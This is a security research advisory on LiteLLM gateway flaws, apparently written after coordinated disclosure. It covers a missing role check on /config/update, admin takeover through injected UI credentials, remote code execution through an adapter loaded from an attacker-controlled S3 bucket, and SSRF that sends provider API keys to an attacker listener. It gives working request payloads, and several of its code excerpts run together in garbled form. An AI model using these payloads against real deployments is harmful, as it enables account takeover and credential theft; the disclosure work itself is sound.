Back Research.Checkpoint When LLM Gateways Go Wrong: Findings from LiteLLM
Our security assessment of LiteLLM (v1.77.7), a widely used open-source LLM gateway, uncovered multiple high-impact vulnerabilities (tracked as CVE-2026-35029 , CVE-2026-59823) which have been resolved as of LiteLLM version 1.83.9.
The most significant issues stemmed from a missing authorization check on the /config/update endpoint, which allowed any authenticated user (including low-privileged accounts) to modify the proxy’s runtime configuration. This single flaw enabled arbitrary file read, administrative account takeover, and remote code execution via malicious Python modules loaded from cloud storage. A separate SSRF vulnerability in the “Clientside LLM Credentials” feature allowed attackers to redirect API calls and exfiltrate provider keys. These findings highlight that as AI infrastructure tools rapidly evolve, foundational security practices like proper access control and input validation remain essential.
As LLM gateways see wider adoption, understanding the security risks they introduce is essential to deploying them safely within an AI stack. These systems sit between applications and model providers and often handle credentials, configuration, and request routing. We decided to take a closer look at LiteLLM, one of the most popular LLM gateways in use today. What started as an exploratory review uncovered multiple high severity vulnerabilities, including credential extraction, access control bypass, and remote code execution. This post presents our findings and highlights the security pitfalls that can arise in LLM gateway deployments and the wider LLM ecosystem.
What are LLM Gateways?
LLM gateways are systems that sit between an application and one or more LLM providers. Instead of calling model APIs directly, applications route requests through a gateway, which then forwards those requests to the appropriate model backend.
In practice, LLM gateways are often used to centralize concerns such as provider abstraction, credential management, request routing, rate limiting, logging, and usage tracking. Many gateways also add higher level features like fallback logic, load balancing across providers, and configuration driven model selection.
LiteLLM is an open-source project that provides an SDK and a gateway product for working with multiple LLM providers. The project originated through Y Combinator and is widely used across the LLM ecosystem.
In this post, we focus exclusively on the LiteLLM gateway. The gateway is commonly deployed as a standalone service and plays a central role in how LLM requests are handled in many LLM-based applications. Its widespread adoption and position in the request path made it a suitable target for our research.
Our review of LiteLLM was conducted against version 1.77.7. The sections below outline the defects we discovered in the LiteLLM gateway.
Access Control Bypass in /config Endpoint
The LiteLLM proxy exposes an administrative endpoint ‘POST /config/update’, designed to allow runtime modifications to the proxy configuration. This endpoint facilitates updating critical settings, including environment variables, model lists, and general proxy settings.
The vulnerability stems from a missing role-based access control (RBAC) check within the endpoint’s implementation, combined with an overly permissive route allowlist for UI sessions.
1. Missing Function-Level Authorization
In secure administrative endpoints within LiteLLM (e.g., /invitation/new ), the code explicitly verifies that the authenticated user possesses the PROXY_ADMIN role before proceeding.
Secure Example ( /invitation/new in litellm/proxy/proxy_server.py ):
@router.post( “/invitation/new”, tags=[“Invite Links”], dependencies=[Depends(user_api_key_auth)], response_model=InvitationModel, include_in_schema=False, ) async def new_invitation( data: InvitationNew, user_api_key_dict: UserAPIKeyAuth = Depends(user_api_key_auth) ): # … # Explicit Role Check if user_api_key_dict.user_role != LitellmUserRoles.PROXY_ADMIN: raise HTTPException( status_code=400, detail={ “error”: “{}, your role={}”.format( CommonProxyErrors.not_allowed_access.value, user_api_key_dict.user_role, ) }, ) # … business logic …
However, the update_config function relies entirely on the generic user_api_key_auth dependency without performing a subsequent role check on the returned user object.
Vulnerable Code ( /config/update in litellm/proxy/proxy_server.py ):
@router.post( “/config/update”, dependencies=[Depends(user_api_key_auth)], # Only generic auth check include_in_schema=False, ) async def update_config(config_info: ConfigYAML): # … # MISSING: if user_role != PROXY_ADMIN: raise … # … # Proceed to update configuration await proxy_config.save_config(new_config=config)
2. Route Allowlist Bypass via UI Token Classification
The user_api_key_auth dependency delegates authorization to a common_checks function. This function determines if a request is allowed based on the user’s role and the target route.
Step 2.a: UI Login Creates Token with litellm-dashboard Team
When any user logs into the LiteLLM UI, the backend generates a temporary API key explicitly associated with the special litellm-dashboard team. This occurs in multiple login flows:
# litellm/proxy/proxy_server.py (login flows at lines ~7962, ~8066, ~8203) response = await generate_key_helper_fn( request_type=”key”, **{ “user_role”: user_role, “duration”: “24hr”, “key_max_budget”: litellm.max_ui_session_budget, “models”: [], “aliases”: {}, “config”: {}, “spend”: 0, “user_id”: user_id, “team_id”: “litellm-dashboard”, # bool: if token_type == “ui” and _is_ui_route(route=route, user_obj=user_obj): return True # bool: allowed_routes = LiteLLMRoutes.ui_routes.value if ( route is not None and isinstance(route, str) and any(route.startswith(allowed_route) for allowed_route in allowed_routes) ): return True # dict: “”” Decrypts a dictionary of environment variables and then sets them in the environment “”” decrypted_env_vars = {} for k, v in environment_variables.items(): try: decrypted_value = decrypt_value_helper(value=v, key=k) if decrypted_value is not None: os.environ[k] = decrypted_value # If user is using UI_USERNAME and UI_PASSWORD they are Proxy admin user_role = LitellmUserRoles.PROXY_ADMIN user_id = litellm_proxy_admin_name
Step 1: Inject attacker-controlled credentials
When authenticated via the UI, the user can update the administrator credentials with the following POST request:
POST /config/update HTTP/1.1 Host: localhost:4000 Authorization: Bearer sk-[REDACTED-LiteLLM-API-KEY] Content-Type: application/json { “environment_variables”: { “UI_USERNAME”: “hacker”, “UI_PASSWORD”: “hacker” } }
Step 2: Log in with the injected credentials
Navigate to the LiteLLM UI login page and authenticate with:
The screenshot below shows the full HTTP request/response pair associated with the login request, showing the new username and password being used, and the request being accepted with the server issuing a JWT for the built-in ‘admin’ account.
The screenshot shows the UI of the dashboard, showing we are indeed logged in as the default admin user.
Remote Code Execution via Pass Through Endpoints
Impact: A low-privilege user can obtain full remote-code execution on the LiteLLM gateway, allowing arbitrary command execution or an interactive reverse shell. Providing full access to all LiteLLM data and a foothold into the network where the LiteLLM gateway is deployed.
LiteLLM supports “pass-through endpoints” that can proxy requests to external services or load custom adapter modules. The /config/update endpoint allows defining pass-through endpoints with a target parameter that supports loading Python modules from remote storage (S3 or GCS). When a target URL starts with s3:// or gcs:// , LiteLLM downloads and executes the Python file, leading to remote code execution.
Step 1: Configuration Update Triggers Endpoint Initialization
When /config/update receives general_settings.pass_through_endpoints, it calls _update_general_settings() which initializes the endpoints:
# litellm/proxy/proxy_server.py (lines 2996-3003) ## PASS-THROUGH ENDPOINTS ## if “pass_through_endpoints” in _general_settings: general_settings[“pass_through_endpoints”] = _general_settings[ “pass_through_endpoints” ] await initialize_pass_through_endpoints( pass_through_endpoints=general_settings[“pass_through_endpoints”] )
Step 2: Route Creation Invokes Module Loading
During endpoint initialization, the target is passed to create_pass_through_route(), which attempts to load it as an adapter:
# litellm/proxy/pass_through_endpoints/pass_through_endpoints.py (lines 943-947) try: if isinstance(target, CustomLogger): adapter = target else: adapter = get_instance_fn(value=target) # Any: module_name = value instance_name = None try: # Check if value starts with s3:// or gcs:// if value.startswith(“s3://”) or value.startswith(“gcs://”): return _load_instance_from_remote_storage(value, config_file_path)
This function downloads the Python file and executes it using importlib:
# litellm/proxy/types_utils/utils.py (lines 153-159) # Load the module from the downloaded file using the actual module name spec = importlib.util.spec_from_file_location(module_path, local_file_path) if spec is None or spec.loader is None: raise ImportError(f”Could not create module spec for {local_file_path}”) module = importlib.util.module_from_spec(spec) spec.loader.exec_module(module) # <– Arbitrary code execution
The call to `exec_module()` executes all top-level code in the downloaded Python file, including import-time side effects.
Malicious Adapter (hosted at s3://attacker-bucket /adapters/evil_adapter.py):
import os # Import-time side effect: create a marker directory os.makedirs(“/tmp/litellm-pwned”, exist_ok=True) class PwnAdapter: def __call__(self, *args, **kwargs): # No-op adapter; existence is enough for get_instance_fn return None # Instance name referenced in the ‘target’ proxy_handler_instance = PwnAdapter()
Step 1: Register the malicious pass-through endpoint
POST /config/update HTTP/1.1 Host: localhost:4000 Authorization: Bearer sk-[REDACTED-LiteLLM-API-KEY] Content-Type: application/json { “general_settings”: { “pass_through_endpoints”: [ { “id”: “pt-rce-poc”, “path”: “/evil”, “target”: “s3://attacker-bucket /adapters/evil_adapter.proxy_handler_instance”, “include_subpath”: true } ] } }
When this request is processed, LiteLLM:
Parses the S3 URL to extract bucket (attacker-bucket) and object key (adapters/evil_adapter.py)
Downloads the Python file to a temporary location
Calls exec_module() which executes the top-level os.makedirs() call
The marker directory /tmp/litellm-pwned is created, confirming code execution
The screenshot below from inside of the Docker container running LiteLLM shows that our arbitrary code was executed and our marker directory was created:
While this proof of concept creates a benign marker directory, an attacker could replace the payload with a reverse shell, credential theft, or any arbitrary code execution.
Server-Side Request Forgery Leading to LLM Provider API key Extraction
Separately from the access control bypass documented above, LiteLLM exposes a documented feature called “Clientside LLM Credentials” that allows any authenticated user to redirect LLM API calls to arbitrary endpoints. This creates a Server-Side Request Forgery (SSRF) vulnerability that can be exploited to steal API credentials or probe internal networks.
The /chat/completions endpoint (and other LLM endpoints) accepts a user_config parameter in the request body. When present, this parameter causes LiteLLM to create a new router with attacker-controlled settings, including the ability to specify a custom api_base URL.
When a request contains `user_config`, the routing logic in `route_llm_request.py` creates a new router with the attacker’s configuration:
# litellm/proxy/route_llm_request.py (lines 122-127) elif “user_config” in data: router_config = data.pop(“user_config”) user_router = litellm.Router(**router_config) # <– Attacker-controlled router ret_val = getattr(user_router, f”{route_type}”)(**data) user_router.discard() return ret_val
No validation is performed on the user_config contents. The attacker can specify a complete model_list with arbitrary api_base values, causing subsequent API calls to be sent to attacker-controlled servers.
Attacker’s Server Setup:
Set up a listener on an attacker-controlled server (e.g., 10.10.13.37:9999) to capture incoming requests. In this case, we use a simple netcat listener but any webserver is sufficient.
When this request is processed:
LiteLLM creates a new router using the attacker’s model_list
The chat completion request is sent to instead of the legitimate OpenAI API
The attacker’s server receives the full request, including any configured API keys in the proxy’s default headers
Below shows the attacker’s listener that receives the original LLM provider API key which the LiteLLM user should not have access to.
Note: While LiteLLM’s configurable_clientside_auth_params setting restricts direct api_base and api_key parameters in the request body, the user_config parameter follows a different code path that bypasses these restrictions entirely. This allows the documented “Clientside LLM Credentials” feature to be exploited for SSRF without any guardrails.
Miscellaneous Vulnerabilities
During our security assessment, we identified several additional vulnerabilities that, while not directly exploitable for full system compromise, represent significant security weaknesses:
Exposure of Password Hashes
Note: this issue was reported to LiteLLM and acknowledged at the time of reporting – however the issue appears to be a duplicate finding and is being tracked as GHSA-69×8-hrgq-fjj8.
The LiteLLM proxy exposes password hashes through various API endpoints, allowing authenticated users to retrieve hashed credentials for other users. This information disclosure increases the attack surface by providing attackers with material that can be subjected to offline cracking attempts. This information is intended to only be accessible to administrative accounts; however, due to the previously described issue with the UI based tokens, a low privileged user can access the password hashes for other accounts.
Insecure Password Hashing
Note: this issue was reported to LiteLLM and acknowledged at the time of reporting – however the issue appears to be a duplicate finding and is being tracked as GHSA-69×8-hrgq-fjj8.
Password hashes in LiteLLM are generated using a single iteration of a standard hash function without salting, rather than using modern password hashing algorithms like bcrypt, scrypt, or Argon2. This approach provides minimal protection against brute-force attacks and rainbow table lookups:
No Salt: Identical passwords produce identical hashes, enabling rainbow table attacks
Single Hash Iteration: Fast hash computation makes brute-force attacks practical
Weak Algorithm: Standard cryptographic hashes are not designed for password storage
These weaknesses significantly reduce the effort required for an attacker to crack exposed password hashes.
The vulnerabilities documented in this post were disclosed to the LiteLLM maintainers through a coordinated disclosure process.
CVE-2026-35029 : Missing Authorization in /config/update endpoint
CVE-2026-59823: Server-Side Request Forgery via user_config parameter
GHSA-69×8-hrgq-fjj8: [duplicate] Exposure of password key material
GHSA-69×8-hrgq-fjj8: [duplicate] Insecure password storage without salting
This security assessment of LiteLLM revealed multiple high-risk vulnerabilities that could be chained together to achieve remote code execution, arbitrary file access, and complete system compromise. The most severe issue, the missing authorization checks in /config/update combined with environment variable injection, demonstrates how a single oversight in access control can cascade into multiple high-impact exploitation paths.
LiteLLM represents an important innovation in the LLM ecosystem, providing a unified interface and management layer for interacting with language models. The rapid development pace in this space has produced powerful tools that solve real problems for organizations deploying AI systems at scale. However, speed of innovation must not come at the expense of fundamental security practices.
The vulnerabilities documented here are not novel attack classes; they include missing authorization checks, path traversal, RCE via dynamic module loading, and insecure password storage. These are well-understood security issues with established mitigation patterns. Their presence in production code highlights a concerning trend: as the AI and LLM ecosystem races forward, traditional security fundamentals are sometimes treated as secondary concerns.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
